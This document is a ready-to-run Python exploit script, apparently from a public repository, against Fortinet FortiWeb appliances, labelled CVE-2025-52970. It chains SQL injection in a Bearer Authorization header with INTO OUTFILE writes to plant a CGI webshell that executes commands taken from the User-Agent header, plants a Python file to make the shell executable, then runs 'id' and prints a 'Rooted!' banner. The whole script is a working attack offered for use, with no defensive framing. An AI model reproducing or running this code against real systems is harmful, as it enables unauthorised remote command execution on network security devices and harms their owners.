README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import binascii
from urllib.parse import urljoin
import requests
import urllib3
urllib3.disable_warnings()
# -------------------- 🎌 Banner --------------------
def banner():
print("\033[95m" + r"""
______ _ _ _
| ____| | | (_) | |
| |__ ___ _ __| |_ _ __ _| |_
| __| / _ \| '__| __| |/ _` | __|
| |___| (_) | | | |_| | (_| | |_
|______\___/|_| \__|_|\__,_|\__|
🔥 Fortinet FortiWeb Exploit 🔥
CVE-2025-52970 | Auth Bypass
""" + "\033[0m")
# -------------------- 🎨 Colors --------------------
def info(msg): print("\033[94m[*]\033[0m " + msg) # Blue
def good(msg): print("\033[92m[+]\033[0m " + msg) # Green
def bad(msg): print("\033[91m[!]\033[0m " + msg) # Red
def star(msg): print("\033[96m[★]\033[0m " + msg) # Cyan
# -------------------- SQL Injection --------------------
class SQLInjection:
def __init__(self, target: str):
self._target = target
self._buggy_api = '/api/fabric/device/status'
def inject_sql(self, injection: str) -> bool:
headers = {"Authorization": f"Bearer ';{injection}"}
dst_url = urljoin(self._target, self._buggy_api)
try:
r = requests.get(dst_url, headers=headers, verify=False)
return r.status_code == 401
except Exception as e:
bad("Request failed: " + str(e))
return False
# -------------------- RCE Primitive --------------------
class RCE(SQLInjection):
def __init__(self, target: str):
super().__init__(target)
self._pyhook_path = '/cgi-bin/ml-draw.py'
# Payloads
self._chmod_file = (
"import os # \r\n"
"os.system('chmod +x /migadmin/cgi-bin/x.cgi && rm -f /var/log/lib/python3.10/pylab.py') #"
)
self._webshell = (
"#!/bin/sh -- \r\n"
"printf \"Content-Type: text/html\\r\\n\";printf \"\\r\\n\";eval $HTTP_USER_AGENT"
)
def upload_webshell(self) -> bool:
self._reset_tables()
for part in self._split_payload(self._webshell):
info(f"writing part {part}")
self.inject_sql(f"use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--")
star("writing webshell file")
self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/migadmin/cgi-bin/x.cgi'/**/FIELDS/**/ESCAPED/**/BY/**/'';--")
self._reset_tables()
for part in self._split_payload(self._chmod_file):
info(f"writing part {part}")
self.inject_sql(f"use/**/fabric_user;update/**/a/**/set/**/a=(select/**/concat(a,0x{binascii.hexlify(part.encode()).decode()})/**/from/**/a);--")
star("cooking chmod gadget")
self.inject_sql("select/**/a/**/from/**/fabric_user.a/**/into/**/outfile/**/'/var/log/lib/python3.10/pylab.py'/**/FIELDS/**/ESCAPED/**/BY/**/'")
info("triggering chmod")
return self._trigger_chmod()
def run_cmd(self, cmd: str) -> bytes:
dst_url = urljoin(self._target, '/cgi-bin/x.cgi')
try:
r = requests.get(dst_url, verify=False, headers={'User-Agent': cmd})
return r.content
except Exception as e:
bad("Command failed: " + str(e))
return b''
def _trigger_chmod(self) -> bool:
dst_url = urljoin(self._target, self._pyhook_path)
try:
r = requests.get(dst_url, verify=False)
return r.status_code == 500
except Exception as e:
bad("Trigger failed: " + str(e))
return False
def _split_payload(self, input_bytes):
return [input_bytes[i:i+16] for i in range(0, len(input_bytes), 16)]
def _reset_tables(self):
self.inject_sql('drop/**/table/**/fabric_user.a;--')
self.inject_sql('create/**/table/**/fabric_user.a/**/(a/**/TEXT);--')
self.inject_sql('insert/**/into/**/fabric_user.a/**/values(\'\');--')
# -------------------- Main --------------------
def main():
banner()
parser = argparse.ArgumentParser(prog='exp.py', description='SQLi ➝ RCE on FortiWeb (CVE-2025-52970)')
parser.add_argument('-t', '--target', help='Target URL (e.g., https://victim.com/)', required=True)
args = parser.parse_args()
pew = RCE(args.target)
if pew.upload_webshell():
good("Exploit successful! ✨")
star("executing `id` ...")
out = pew.run_cmd('id')
print("\033[93m" + out.decode() + "\033[0m") # yellow highlight
good("Webshell ready at: " + urljoin(args.target, '/cgi-bin/x.cgi'))
print("\n\033[95mAnime Victory Scene 🎌✨\033[0m\n")
print(r"""
⠀⠀⠀⢀⣤⣶⣶⣶⣶⣶⣶⣤⡀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀ 🎇 Rooted!
⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀
⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀
""")
print("Use the `User-Agent` header to send commands 🕹️")
else:
bad("Exploit failed :(")
if __name__ == '__main__':
main()